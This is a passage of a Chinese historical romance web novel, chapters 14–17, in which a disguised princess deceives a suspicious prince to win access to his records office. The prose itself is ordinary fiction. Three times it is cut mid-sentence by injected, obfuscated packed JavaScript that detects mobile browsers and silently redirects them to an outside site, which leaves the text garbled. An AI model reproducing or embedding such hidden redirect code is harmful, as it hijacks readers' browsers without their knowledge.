两人中间隔着榻几,中途有侍从端来茶和梨。顾雁说得口干,顺手端茶一饮而尽。她放下杯子,继续翻看文稿,殊不知对面的人正在静静看她。 卫柏端茶轻啜,从她微蜷撑腮的纤手,缓缓看至她不时颤动的眼睫,再至她被纸张半掩的起伏腰肢。美人慵卧纸堆,当真如画。 有意无意,她一直略过了《临江杂感》,有次翻到,也十分自然地把它叠到最下面,再翻其他。卫柏注意到了这个小细节,倒也没在意。那首诗,江州人来看,确实有些刺眼。 除此之外,她对诗文的见解,几乎都与他本意不谋而合。有时,她甚至能一针见血地看出深埋的隐喻。若她被刻意训练过,为何说得如此流畅自然,毫无生涩之感?《西园集》里的名士评议都不及她真挚,当世又有谁能教她说这些? 他用目光反复描摹着眼前之人,仿佛伏于暗处伺机猎杀的猛虎,正在端详一只徜徉经过的鹿。 当顾雁喝了三杯茶后,恍然回神,发现窗外夜色漆黑,连虫鸣都安静下来。她扫视一圈榻上文稿,发现都评议了这么久,才说完一半。 今日打早起来赶写新戏文,到现在着实累了。困意几度来袭,她忙举高纸稿掩住哈欠,心底不禁纳闷,卫贼天没亮就去了先王陵,举行了一天祭礼,结束后又处理赈灾。她去范华殿时,他忙得连衮服都没来得及脱下,撑到现在还不困吗? 顾雁疑惑抬眸,却见卫柏手撑额角,闭着眼睛,似是睡着了。 太好了! 她心下一喜,压低声音询问:“殿下?殿下?” 卫贼没有反应。 还真睡着了!她可以回去睡觉了! 顾雁缓缓起身,开始收拾文稿。她负责侍墨和收拾书阁,不能由着榻上纸稿散落,就径自离开。她翘着手指,小心翼翼拎起纸张,叠放整齐,就怕纸张揉折发出声音,吵醒卫贼。 不消片刻,她就把身边文稿都收拾好了,却见卫柏手上还拿着一张,身后搁着两张。方才他拿过这篇文赋看,看了一会儿就睡着了,纸稿仍握在手里。 顾雁屏住呼吸,挺身伸手越过榻几,轻轻抽走卫柏手中那张纸。 拿到了! 很好,他没醒! 她松了口气,看他搁在身后的两张纸发愁。隔着榻几和卫贼,她拿不到。顾雁只好放下纸稿,轻轻爬到榻边翻身下来,来到他脚边。 他斜倚软囊,头朝里侧,睡得呼吸均匀,领上露出修长的脖颈。她忽然想到,此刻再一簪插去,亦能要了卫贼的命。但转瞬又想,卫贼一死,政局大乱,其他人上位还不如他,百姓只会平白遭殃。 顾雁叹了口气,将这些念头从脑中抹去。她躬身伸手,而纸稿放在宽榻里面,还是拿不到。她只好提裙爬上榻。他的长袖铺满榻面,她只能小心翼翼地爬过他的衣袖,来到他身后,慢慢夹住纸稿。 很好!拿到了! 放好就走! 顾雁刚准备回撤,身下衣袖猛然抽动,她全身失去平衡,往旁一歪。 啊! 她差点惊呼出声,连忙抽手想扶点什么,好稳住身躯。然而慌乱间,她竟按到了他的小腹。顾雁急忙抬头,却见卫柏垂眸望来,轻轻挑眉。 14. 骗他 隔着数层衣裳,顾雁仍能摸到卫柏腹上的硬实肌肉。她的脸霎时通红,连忙往后退手,却摸到了更尴尬之处。 顾雁浑身一僵,顿时手脚无措。卫柏蹙起眉,抓住她的手往旁一拉。她顿时彻底伏在他身上,右手被他按在榻上,左手拿着纸稿。身下的卫柏,正随呼吸微微起伏身体。他的脸近在眼前,一半明亮,一半昏暗,瞳仁里摇曳着灯火微光。 “换成别人,此刻已身首异处了。”卫柏冷冷说道。 顾雁忙抬起手中纸稿:“我见殿下睡着了,想收拾文稿……嘶……”腰伤没好透,方才动作一大,痛楚又开始隐隐发作,她忿忿嘟囔:“殿下突然抽走衣袖,我才没稳住。” 她温婉如莺的声音里,溢出委屈。卫柏眼睫一颤,声音柔和了些:“孤梦中察觉衣袖异动,随手撤回,睁眼才发现是你。” 这厮也太警觉了吧!她已经很小心没牵动他的衣袖了,就算压住了,定然也只是微小移动,他却从梦中骤然醒来。 与他靠得这样近,顾雁的心跳难抑地加快,只想快些起身下榻。然而因腰疼,无论做什么,都得慢慢动。她只好挣脱他的手,身体缓缓后退。 突然,卫柏揽住她的背,弯腰用手勾住她的膝弯。他力气很大,轻松便把她提起。猝不及防间,她天旋地转,整个人都彻底跌进他怀里。此刻卫柏坐在榻上,她则靠在他臂弯中,被他打横抱住。 两人贴身相依,呼吸交缠。她不是稚童,很清楚身下挨着什么。 一股紧张从骨头缝里赫然钻出,直冲脑门。她咬住唇,盯着他道:“殿下别吓奴婢。”顷刻间她已打定主意,若他要做甚,便即刻拔簪! 卫柏眯着眼,细细打量起她。此刻她像只受惊的猫儿,浑身紧绷,连额上细碎汗毛都竖起来了。呵,分明是她先情真意切说想来他身边。但他每每放任她接近,她却像受了莫大委屈。 这副楚楚可怜的模样,偏将他心底深处的征服欲勾得喧嚣沸扬,教他愈发想看清,她到底是欲拒还迎,还是虚情假意。 卫柏的瞳眸愈发深邃,目光似要将她刺穿:“你既怕孤,为何还想时刻随侍孤左右?” 顾雁浑身一凛,倒是冷静下来。今日是她刻意接近在先,绝不可露了马脚。 其实她并不怕他,只是厌恶。 从颖军攻打江州时,她便开始厌恶卫贼。如今见到他本人,噩梦忽然成了鲜活之人。坦诚来说,他很多方面确实不算坏人。但对他的厌恶早已长成血肉里的刺,深得拔不出来了。 她也不想拔出。 她顾雁,生是江州人,死亦江州魂。 做戏而已。顾雁飞快厘清思绪,忽然偏头倚到卫柏胸前,柔声道:“殿下误会了,奴婢不是害怕,是紧张。” 要骗人了,确实有点紧张。 但她察觉卫柏身体明显一僵,却没推开她。她便继续道:“奴婢每读殿下诗文,只觉深深伤怀,心绪难平,怎会害怕殿下?” 卫柏低声失笑:“伤怀?” “因为诗文里的灵魂那般孤独,教奴婢忍不住想靠近。”顾雁徐徐说着,伸手穿过他臂下,环住他的腰。 卫柏仍纹丝未动。 她调整嗓音,力求更情真意切:“殿下千万莫误会,奴婢深有自知之明,绝无任何非分之想。奴婢只求殿下忙碌时,允我在旁陪侍,研墨添香,为殿下稍解烦忧。” 这些话怪恶心的,难为她强忍着说完了。 渐渐地,她清楚听见,耳旁倚靠的胸膛里,卫柏的心跳咚咚震响,犹如擂鼓。 半晌沉默后,他忽然抬手钳住她下颌,将她的头掰离数寸。卫柏目光寒凉如冰,闪过凌冽杀意,声音也冷得毫无温度:“是谁教你说这些?如实道来,孤不杀你。” 他手劲很大,指腹嵌进她的腮边皮肉。 他生气了。 顾雁揪紧衣袖,心跳快得不成体统。但眼下已走到这,只能埋头往前冲了! 她眼眶霎时泛红,泪珠盈盈欲落:“方才殿下让我直抒胸臆,说不会怪罪。奴婢信以为真,说了掏心窝的话,殿下却如此动怒,食言欺我。” “孤……”卫柏一愣,不自觉松了钳制的力量。 顾雁委屈至极:“谁能教这些心底话?早知如此,奴婢便像程二公子那般,一味闭眼奉承殿下就好,也不会落得个捧上真心,却被殿下冤杀的下场。” 她闭上眼,一颗泪穿过浓密的眼睫。泪珠在烛火映照下,晶亮滚圆,缓缓滚落,恰好滴在他钳她的虎口上。卫柏仿佛被烫了一般,猛然松手。他垂眸凝视,拇指按住虎口,将那滴泪水揉碎,泪水余温留在指腹上,久久不散。 “殿下既嫌奴婢胡说,便杀了我吧。”她脸颊乍起轻微红痕,仿佛白玉微红的荷瓣,迎风欲折,惹人万般怜惜。 卫柏瞳眸一颤,忍着愈发急促的呼吸,轻触她脸颊的红痕:“不是……” 方才都没用力,怎就把她弄成这样了? 他下意识的戒备,皆源于战场尸山血海、政斗尔虞我诈中练就的自然反应。他才二十三岁,便父母兄长皆亡,自己也差点死过好几回。所以她哪是胡说,简直戳到了他的肺管深处。 顾雁睁开眼,看着他道:“殿下也不信任奴婢,便赶我走罢。我出府再寻书肆做工,殿下便不用听我评议诗文了。” “孤没想赶你走。”卫柏下意识接话。 顾雁趁机委屈:“省得殿下留奴婢在府里,还时刻派宿卫监视。我稍不注意就腰伤发作,走也走不快,还能在颖王府里造反不成?” “没有……”以往,卫柏从不跟任何人解释意图,也不需要。但此刻他竟觉得,只要能再听她真心解诗,不管怎样都好。 “孤命他们撤走。”他鬼使神差地说道。 顾雁惊讶地睁大眼。 不是吧! 她不敢置信,却只能压住心底激动,撇了撇嘴:“殿下是在诓奴婢吧?” “孤绝不食言。”卫柏温声应道。 顾雁莞尔一笑。文以见心,她读懂了卫贼的文章,亦读懂了其中深埋的孤独。卫贼既有软肋,便可拿捏利用。话虽如此,她仍有些紧张他的反应。 至此,才算松了口气。 顾雁再次倚到他胸前:“多谢殿下成全。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439986|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>卫贼的心跳,比刚才更快了。 半晌,他抬起僵直的手,抚住她的后脑勺。 他身体很热,纵然在秋风盈窗的夜里,顾雁亦觉周身被热意包围。她忽然意识到,这般抱着他,好像太入戏了些。 她即刻抬身。卫柏却飞快将她拉回,低声道:“你爱写戏文,就留在府中写。日后还能留著姓名,编纂成集。” 顾雁身子一顿。这是她少时向往,却只能暗自幻想之事。娘亲不赞同,说哪有诸侯女眷写志怪戏文,更莫说编纂成集流传后世。 而卫贼却说,她能。 虽然她做事,并不需要任何人允许,但她的心仍乱起来。顾雁勉强敷衍道:“殿下说笑了,世上只有经史诗赋集,哪有杂戏集?” “世上没有,你便写第一本。过去也没有经史诗赋,总有人写第一本,才有后来更多。以文立意,无有高下之分。”卫柏在她耳旁低语。 榻几上灯火明灭,窗外夜色深沉。两人在榻上相拥。他的声音敲打在心,顾雁紧咬唇瓣。 少时与娘亲争执,她也说过一模一样的话。可娘亲却道怎么没有,经史百家为正统,诗赋骈文为逸趣,它们足以研读终身。身为顾家女,就当辅佐兄长治理好江州,怎能沉迷旁门左道。 她从此收了心。 娘亲说得对,丹阳郡主须心怀江州,不该做不着调的事。 顾雁深吸一口气,迅速从回忆中抽身:“多谢殿下。” 这句也不知掺了几分做戏,几分真心。她悄然抬首,卫柏亦深深望着她,眸里多了几分说不清道不明的晦暗。两人目光一触,她心跳便快如急雨。 好像……不太对劲了!快跑! 顾雁忙道:“天色已晚,奴婢不敢耽误殿下歇息,先行告退。” 然而她刚动,卫柏又抱起她。 “殿下!”她惊得急忙抓紧他。而他竟屈身而起,稳稳膝行至榻边,将她放到地上站好。 顾雁不敢再看卫柏,将纸稿放回榻几上的匣子,低头匆匆行礼:“奴婢告退。”她忍着腰痛,逃也似的退至书阁门口。 “等等,”卫柏忽然出声。 顾雁脚步一顿,疑惑抬头。 却见卫柏端坐榻边,捏着拳头,略不自在地说:“日后孤在前院时,你若想见孤,可至内门通报。” 顾雁一怔,忙道了声“好”,便匆匆逃进夜色里。 卫柏盯着她,直到她的衣裙消失在门外,才恍然回神。脑子冷静下来,他坐在榻上,手撑膝盖,重重揉起眉心。 她一声轻唤殿下,便有股邪火猛然窜出,在脏腑里盘旋,烧得他烦躁不已。卫柏轻捻拇指,那滴泪的湿润触感仍留在指腹。突然间,他脑海里冒出一幅画面。她斜躺榻上,柔情万千地望着他,轻唤“殿下”,滚落的珠泪再次被他拭去,被他揉碎。 火焰忽然窜高,灼烧心脏。卫柏狠狠按压眉心,想把这副画面甩出脑海,却怎么都做不到。“我到底在干什么……”他喃喃自语。 为何在她面前,一切都开始失控。 而屋内寂静,无人给他答案。只余灯芯燃烧,噼啪声响。 15. 等他 不知时辰几何,银月高悬,四下寂静,通往仆役寝舍的小道漆黑一团。顾雁忐忑不安地走着,身后又有人唤道:“容娘子留步!” 她回头,见守在书阁门口的老侍从,提灯疾步赶来:“殿下吩咐奴给娘子送灯。”他赶到近前,笑着把灯递来:“殿下当真喜爱娘子。” 顾雁正色强调:“殿下只是让我评议诗文,并无其他。” 老侍从轻轻一笑,颔首礼道:“夜路昏暗,娘子慢走。” 顾雁吁了口气,提灯转身,徐徐走进夜色。昏黄灯火照亮前方一隅,夜风终于将发热的头脑吹冷。她回房关门,趴在榻上,心中像一团乱麻。 卫贼最后那句话什么意思?只要他回府,她可以随时去前院? 顾雁揪紧身下枕头,今夜情形又钻进脑海。 他问她是否真心……他将她抱在怀里…… 啊啊啊! 这厮也就说了几句好听话。先前还反复查问她,像审细作似的,哪就突然喜爱她了? 呵,高高在上的颖王,阴鸷多疑的卫贼,翻覆不定的心情,她的死活,不过他一句话。今日留她,改日又能杀她。他太危险,留在他身边,就像行走刀尖。 她才不稀罕呢! 只要找到母兄下落,就立马离开! 如此思量着,顾雁渐渐睡去。 接下来两日,府中安静无事,颖王也没回西园。顾雁做好分内之职,就回房趴在榻上写戏文。一想到那夜拥抱,她心里便乱哄哄的,不想与他见面。 午后石榴又过来了,进门就扑到她身边:“容阿姊,我被调到西园洒扫了!管事让我搬到你隔壁住!” 顾雁惊喜不已:“太好了!” 石榴忙点头:“我都把包袱搬到隔壁了。对了!宫里还来了位女医,特意为你调理腰伤呢!” 顾雁转头,才见门外站着一名面色和蔼的中年妇人,正向她颔首致意。她忙起身,请对方进门。 女医详细询问了她的腰伤,得知她手腕还有筋痹之症,便让她趴回榻上,为她施针熏艾。顾雁一头雾水地问起,才知是严都尉去宫里医署请来的人。女医又教了石榴一些推拿手法,好帮容娘缓解痛楚。 一番治疗,顾雁果然觉得伤痛消解许多,自是千恩万谢。 “过段时日,我还会再来王府为娘子施针。”女医笑吟吟地继续嘱咐。 待两人把女医送出王府侧门,石榴便忍不住激动说道:“定是殿下令严都尉去请的人!看来月姑姑说得对,殿下很看重容阿姊呢!” 两人并肩而行,沿院墙下的石板路返回西园。顾雁摇头:“莫要胡乱揣测。我进府才几日,殿下哪就看重了。不过是我腰伤频繁,碍了殿下的眼,请个大夫治我,好叫我再给他干活。” “噗嗤,”石榴掩嘴笑出声,“殿下怎不为别人请大夫?再说,府里也有给诸位夫人请疹的大夫,殿下却为娘子特意去宫中请。” “是啊……明明能在府中请,却特意去宫中请,”顾雁眯起眼,“颖王看重我的消息,不就传扬出去了么……” “这还不好呀!”石榴自顾高兴,“阿姊不如好好想想,如何向殿下谢恩吧!” 顾雁淡淡笑了笑,没再说话。 不过今日出门,她发现没有宿卫远远跟着盯梢了。 她还怕万一宿卫藏得更隐秘了,便借口熟悉府中路线,让石榴带她多走了几次,沿着仆役通道,绕到厨房、仓房等等,再回寝舍。她一路留意,都没发现任何盯梢的宿卫。只是遇到好几次西园仆从,远远见她,便朝她恭敬施礼:“见过容娘子。” 之前那些人,也不曾这般有礼。 顾雁客气回应着,心中只想,难道卫贼当真撤走了宿卫? 眼下天色尚早,离颖王回府还有段时间。她们回到西园仆役寝舍外,顾雁忽然道:“妹妹说得对,我是得向殿下谢恩。你先回房。” 石榴心领神会地一笑,蹦蹦跳跳地进院了。 顾雁又独自来到西园至前院的内门。 这次,宿卫见她恭敬了许多。顾雁只说想去范华殿等殿下回府。宿卫想了想,便让开道引她前去。 这也太顺利了! 顾雁暗自讶异。她悄然四顾,远处安安静静,仍没有盯梢的宿卫。 快至范华殿,两名在前院当值的仆从迎面走来,停步朝她行礼。 顾雁心里早有计较。她露出关切神情,柔声问:“两位,请问范华殿里可要帮忙洒扫?” 一名侍从忙道:“回容娘子,殿里洒扫过了。” “那……”顾雁面不改色地继续问,“殿下看过的文书都收拾好了吗?可需要帮忙?” 侍从颔首笑道:“都已送往典录司了。” 顾雁猛然捏紧手,面上仍温柔笑着:“既如此,不扰二位做事了。” 侍从们颔首礼别。顾雁继续随宿卫前行。 典录司! 卫贼看过的文书放在典录司! 母亲和兄长到底在哪,答案或许就在典录司! 她深深呼吸,压着起伏心潮。一瞬间,前路的光仿佛更亮了! 这两个侍从之前见过,给卫贼送过文书,应是专司此职。顾雁放慢脚步,见他们沿廊道远去,消失在殿墙后。那边应是典录司的方向。 顾雁收回目光,开始在心底盘算。前院不时有宿卫列队巡逻,守卫比西园更严密。就算没有宿卫盯梢,也不好自由行走。典录司……怎么去呢…… 很快,他们已至范华殿。 殿内空旷安静。午后阳光暖意洋洋,透过殿门,在青石地面铺出明亮线条。顾雁进入殿中,自顾燃香备墨,如她在西园所做的一般。但等到天色暗沉,卫贼还是没回府。 不知怎地,她既怕见他,又忍不住想,他怎么还没回来。 天光彻底暗下来,他依然没有回府,顾雁到底松了口气,走出大殿,跟门外宿卫示意她要回西园。 —— 深夜,颖王回到府中。 这几日因为赈灾,朝中争执不休,他不得不晚归。 他本想直接回西园,却听值守宿卫来报,容娘去过范华殿。 “去范华殿。”卫柏决定改道。 殿内,侍从在旁燃灯。卫柏站在舆图前听宿卫汇报,说容娘燃香备墨,又枯等了两个时辰才回西园。 他看向殿内木案,目光一一扫过残烟袅袅的香炉、整齐摆放的墨砚。恍惚间,她好像就在那里,掀开炉盖,撩袖点香。然后撕开包着墨块的纸,在砚上倒水研磨,动作熟练轻巧,背影婀娜动人。 听他脚步声靠近,她回头莞尔一笑,轻唤:“殿下,奴婢在等你。” 然而灯火一摇,她的身影和声音旋即消散不见,眼前只是熟悉的木案。 没有她的笑,也没有人唤他。 空空荡荡,什么都没有。 卫柏只觉心底突然裂开一个洞,空落落的什么都接不住。明明以前深夜回府,他都不觉任何异样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14448018|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,偏今日听说她来过后,只觉范华殿实在冰冷空旷,连个活人都没有。 他忽然转身疾步往外,刚走至门槛,抬头见月上中天,漆黑夜空点缀着稀疏星子。 “什么时辰了?”卫柏问。 侍从看了一眼殿中的滴漏铜壶,忙答:“回殿下,近子时了。” 卫柏昂头看着星空,深深叹息:“罢了,就在前院寝殿歇息吧。” “是。”侍从躬身应道。 —— 自从顾雁有了盘算,她便有意与院里其他侍从接触,谈天说地,顺道不着痕迹地打探典录司。 不消一日,她便打听出来。前院的典录司,就是王府里存档文书卷宗的殿阁!有专人负责洒扫整理。陶长史麾下还有几名书佐,每日在典录司里上值,专为颖王执笔撰文。 顾雁暗自思量,前院守卫严密,一到晚上内门落锁,便不可能偷偷翻墙进去找卷宗。若白日偷进,就算避开了巡逻宿卫,也很可能被那些书佐发现。 有什么办法……能正大光明地进典录司呢? 眼波流转间,顾雁在心底渐渐有了主意。 —— 连续三日,卫柏深夜回府,都听侍从来报,说容娘在范华殿里等他,一直等到天黑,才回西园的仆役寝舍。他既觉失落,但若回府后专程去找她,又没必要。 待终于解决了一些麻烦,今日,卫柏刻意提前赶回王府。依然晚暮时分,他不坐步舆,脚步匆匆,把身后的陶羽甩开一大截。 前院殿阁重重,陶羽疾走了半晌,干脆小跑起来,才终于跟上了颖王。 “殿下,属下接到探报,暗中派去汝平的人已找到那户屯田民,确是一对年轻夫妇。院里确实种了一棵只结酸梨的梨树。两年前,他们也确实救过一个逃难的流民女。”一口气说这么多,又在小跑,陶羽累得直喘气。 卫柏放慢脚步:“继续。” 陶羽忽然正色:“据探报,那对夫妇说,两年前即将秋收时,下了好几日大雨,屯田被淹得颗粒无收,他们只能靠少量陈米熬粥度日,便没余粮换钱为孩子就医。” 卫柏蹙眉:“落雨前必有征兆,就不能赶紧抢收吗?” 陶羽声音一沉:“他们说,当年官府调走许多屯田民,去抢收几大士族的私田。他们也包括在内。其中程氏私田占了大半,就再无时间抢收官田了。” 卫柏微敛双眸,徐徐回忆:“当年粮账里,就只写了因雨霉损少许粮食,属常见损耗,便再无其它。” “他们把账面做得很干净。属下已着人盯紧那对夫妇,护好人证。” “很好,”卫柏冷笑,“屯田乃国之根本,汝平乃屯田大郡!汝平程氏,竟猖狂至此!” 说话间,颖王眼中的凛冽杀意一闪而过,就算陶羽常伴左右,都觉不寒而栗。他轻轻吁气,又道:“殿下,这次赈灾收粮的官员也到汝平了。” “知道了。”卫柏一脸霜色,继续疾步往前。陶羽跟得心惊胆战:“殿下,还有……” 他们正绕过一间殿阁墙角,卫柏却猛然停步,盯着前方。陶羽疑惑望去,见前方范华殿廊下,容娘正与一名典录司书佐有说有笑。 他们说了什么之后,那书佐便打开腰间鞶囊,取出一方印章递给她。容娘温柔一笑,接过印章,又高高举起对着阳光细看,指尖反复摩挲,面上满溢钦佩之色。半晌,她才恋恋不舍地还他。 陶羽轻轻挑眉,回头见殿下正盯着他们,脸色似乎更冷了些。 16. 志气 卫柏徐徐上前。 顾雁和书佐见颖王突然出现,连忙走下台阶行礼:“见过殿下。” “在说什么,这般高兴?”卫柏只盯着她,声音虽然温和,脸上却不见一丝笑意。 顾雁悄然看了其他人一眼,答道:“奴婢来范华殿等殿下回府……” 卫柏眸中霜色稍霁。 “……见陈书佐来送文书,便聊了几句。” 书佐连忙上前,躬身奉上手中一道卷轴:“《天石祥瑞赋》已撰写完成,请殿下和陶长史过目。” “嗯。”陶羽接过卷轴。 “若无旁事,属下这就告辞……” “等等,”陶羽微微眯眼,“方才你与容娘子如何见面,谈论何事,详细道来。” “啊,”书佐忙道,“启禀殿下,长史。今日属下撰完文赋,见殿下即将回府,特奉来范华殿外等候,正巧遇到容娘子。她询问属下在典录司的职务,属下便照实答了。容娘子说很向往,还想见识典录司印鉴,属下便借容娘子一观。就是这些。” 陶羽颔首:“嗯,没你的事了,退下吧。” “属下告辞。”书佐朝颖王见礼后,忙不迭地退后远去。 陶羽看向一旁的容娘,眸里闪过狐疑:“容娘子竟对典录司事务如此感兴趣。”他缓步上前,声音愈发冷冽,“是想知道什么?不如来问陶某。” 随着他走到近前,一股无形压迫感扑面而来。陶羽此人,一双狐狸般的眼睛洞若观火。只需微末痕迹,他就能抽丝剥茧,直指本源。她稍不留意,就会被他看出破绽! 然而,顾雁就是在等陶羽发问! 这几日在前院等待,终于等到今日与书佐交谈的机会,竟让她发现了一个绝佳借口! 顾雁迅速酝酿说辞,不疾不徐地说道:“几个月前,奴婢尚在外头佣书为生时,听到陶长史兄长陶灵公子骤然病亡的消息,大家都很痛惜。” 陶羽脸色一变,不悦道:“你突然提我兄长作甚?” 顾雁轻叹:“老管事亲眼见过他在酒楼作赋,写出大齐第一赋文。说他才学名满天下,姿容绝世,风华万千,如明月高悬,世人无不倾慕,可惜英年不永,令人痛心。奴婢从未见过陶灵公子,那时听到这些话,便无比向往一睹陶灵公子的风采。” 她柔声说着,陶羽渐露伤怀。卫柏在旁负手而立,一直冷眼瞧着他们。殊不知,他交握在背后的手悄然捏紧。 “奴婢还听说,当时在陶灵公子祭礼上,殿下扶棺痛哭,深为惋惜,还说要收集公子生前手稿编纂成集,实现他生前未尽之心愿。此话传遍梁城。方才奴婢听陈书佐提到,他就整理过陶灵公子遗作,那些文稿就在典录司。奴婢实在羡慕,陈书佐能看到那些传世佳作。” 陶羽深深吁出一口气,吐出积累在胸的伤感。突然,他双眼一眯,警觉道:“好厉害的口才,三言两语便能牵人心绪。就算如此,这跟你想见识典录司印鉴有何关系!” 这厮果然难缠。 顾雁面色不惊,上前一步,毫不怯懦地盯着他说道:“如陶长史,如陈书佐,诸位用印鉴在所写文章上盖印留名,是再普通不过的日常。而奴婢同样识文断字,”她垂下眼睫,满眸憾色,“却只能收拾笔墨书阁,写写杂戏供殿下一乐。” 陶羽噎住。很快他又斥道:“这不是侍墨婢的本职么?” 顾雁咬住唇,望向旁边一言不发的卫柏:“殿下说过,文章无高下之分,难道写文之人就有高下之分?我是奴婢,就不能有在文上盖印留名的志气么?就不能想去典录司领略陶灵公子遗作么?就不能……” 她暗暗捏住手,鼓足勇气说出最后一句:“也像陈书佐那般,不是当逗趣乐子,而是……帮殿下为陶灵公子编撰文集吗?” 陶羽惊讶地睁大眼,仿佛被这番话震住。不知他是觉得奴婢不该痴心妄想,还是因为她反复提到仰慕陶灵,教他不知如何辩驳。毕竟陶灵是他最钦佩的兄长。她方才那些形容,他也是认同的。 总之,陶羽被她说得无言以对,只好转眸看向殿下,却见殿下脸上没有半分笑意,只是淡淡望着她。 卫柏突然幽幽说道:“你那日说,以前读孤文稿时,便向往见孤。今日你又说,早就向往一见陶灵的风采。所以,你到底向往见谁?” 啊?顾雁眨了眨眼。 还以为卫贼会质疑她所言真伪,没想到他突然这么问! 她属实始料未及,连忙回想一番前几日在范华殿编的话,迅速说道:“奴婢那时所言,也是真心实意。” “你对孤可没有那一大段,诸如明月高悬的形容。看来,你主要向往见陶灵,顺便向往见孤吧?”卫柏的脸色越来越冷,背后的手越捏越紧,“你想进前院,该不会就是,为了去典录司看陶灵遗作吧?” 顾雁浑身一凛,这厮竟猜对了! 虽没猜对她的真正目的,却猜对了她的行事思路! 一股紧张从脊背窜出,手臂瞬间浮起大片鸡皮疙瘩。 “不是!”她脱口道,“奴婢也很向往见殿下!” “也很?” “不不,是主要向往见殿下!顺、顺便才向往见陶灵公子……”顾雁声音愈发小了。 啊!卫贼心眼怎么这般小!他文章写得不错,就容不得别人说陶灵也写得好吗!陶灵就是写得好啊!虽然她没见过,但书肆老管事确实这么说过嘛!这厮怎这般容易生气! 顾雁小心翼翼地说:“还请殿下成全奴婢,为殿下侍墨之余……允奴婢去典录司,誊撰陶灵公子遗作……” 卫柏的嘴唇抿成一线,脸色阴沉得周围三尺地面都能立刻冰封。 陶羽左右看看,忽觉以自己身份,实在不便置喙亡兄,说什么都很尴尬。他连忙捧高卷轴,飞快说道:“殿下,属下先回去审阅这篇文赋,确保无误后再呈殿下!属下告退!” “嗯,”卫柏敷衍应声。 陶羽躬身一礼,迅速后退,转身疾走消失在殿阁后。 范华殿前院再无旁人。随侍颖王的当值侍从,也远远退在旁边阁殿下站着。 卫柏冷冷瞥了一眼她,撩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14458151|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袍迈开步伐。 顾雁吁了口气,站在原地撇嘴。 “还愣着作甚?”走远的卫柏停步回头。 “哦,奴婢来了。”顾雁连忙提裙,疾步跟上他。 卫柏走得很快。顾雁碎步在他身后,不近不远地保持着三尺距离。当值的两名侍从远远跟在后面,脚步声轻得几乎听不到。 一进西园,入眼便是大片红彤彤的晚霞,倒映在平静如镜的池塘上。 卫柏一直沉默。 又是这样,到底成不成,也不给个回应。这般下去,她一颗心总悬在半空不踏实,还是得探探卫贼想法。于是她试图迂回切入:“今日殿下回府真早……” 卫柏额角一抽,没有说话。 “殿下终于忙完了?可用过了晚膳?” 卫柏骤然捏紧手,挤出两个字:“没有。” “殿下在西园用晚膳吗?” 卫柏忽然停步。顾雁差点撞上他,还好她及时刹住脚步。她悄然抬头,见他忿忿转身,盯着她道:“孤是说,孤没有忙完。” “那,殿下今日早早回府,可是累了?要先回寝阁歇息再用膳吗?”顾雁忙问。 卫柏在背后捏着拳头,手背青筋毕露。他咬着后槽牙,“孤……” 半晌没有第二个字,顾雁一头雾水。 卫柏看她还一脸茫然,更是气极反笑。 他今日把事务都压到一起处理,一桩接一桩,午膳都没吃两口,紧赶慢赶匆匆回府是为……为了……为了谁啊! 她不是每日都等他到深夜吗? 他不就是,想在范华殿里看到真正的她,而非每日深夜都只能看个幻影…… 结果,她却和旁人有说有笑,还说向往一见陶灵公子的风采? 呵! 可是,若要他对她说这些话,却半个字都说不出口。 府里侍从、宿卫都在远处看着。 卫柏阴沉着脸,黝黑瞳仁泛着寒意。顾雁看得心里发毛:“殿下……” 她仔细回顾方才那番说辞,虽然身为侍墨婢,说想去典录司确实大胆。但她情真意切,字字合理,他至于这般不高兴吗……陶灵还是他心腹下属的兄长呢,人家就站在旁边,他还甩脸色,也不怕属下见了寒心。他到底是小气不容人?还是,仍在怀疑她别有用心? “殿下,”顾雁撇撇嘴,偏头看着池塘晚霞,“是殿下说,奴婢可以著书留名。我这才鼓足勇气说了心底话。若殿下觉得奴婢说得不妥,此后便再不说了。” 她双腮微微鼓起,指尖来回绞着衣袖,池塘边的昳丽晚霞,为她更添几分娇色。 卫柏看得怔住,不自觉声音一软:“孤没有此意。” 顾雁抬起秋涟般的眼眸,瞳中满是受惊后的忐忑不安:“但殿下方才模样,像要吃了我似的。” 接住她目光的一瞬,卫柏只觉心脏都漏跳一拍。 刹那间,他忽然不想管她来自何方,为何要进典录司,只要她莫再害怕就好。等卫柏回过神来,他已上前一步,轻轻将她揽在怀中。 17. 讨厌 顾雁霎时惊住。顷刻间,她被宽阔坚实的胸膛包裹,他衣上淡香从四面八方侵入,教她脑海瞬间空白,甚至忘了接下来该说什么。 天地之间刹那寂静,晚霞秋池,徐徐风来,周围只剩两人交错回响的心跳。 